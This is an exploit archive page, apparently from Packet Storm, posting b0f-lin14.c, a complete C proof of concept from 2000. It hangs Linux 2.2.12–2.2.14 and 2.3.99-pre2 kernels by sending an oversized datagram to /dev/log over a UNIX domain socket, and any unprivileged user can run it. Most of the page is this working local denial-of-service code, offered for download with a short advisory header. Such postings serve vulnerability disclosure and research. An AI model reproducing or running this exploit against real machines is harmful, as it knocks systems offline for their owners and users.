what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

b0f-lin14.c

b0f-lin14.c
Posted Apr 3, 2000
Authored by eth0 | Site b0f.freebsd.lublin.pl

The following userspace code will locally hang recent linux machines. The send system call immediately puts the kernel in a loop spewing kmalloc: Size (131076) too large. Linux 2.2.14 and 2.3.99-pre2 are vulnerable.

tags | kernel
systems | linux
SHA-256 | 45b0fb037bd3274c47ba26f3c0a580d1dddbc4ee423482056d3cda35938d40b1

b0f-lin14.c

Change Mirror Download
/*            [http://b0f.morphed.net] - eth0                */
/* */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2

The following exploit code will hang any Linux machine on various
Pentium
platforms.
Note that this does not require any special privileges, and any user
can

compile and run it, so watch out kiddies...

The send system call immediately puts the kernel in a loop spewing
kmalloc: Size
(131076) too large forever (or until you hit the reset button).

Apparently UNIX domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.

[code provided by eth0 from b0f security]
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>


char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close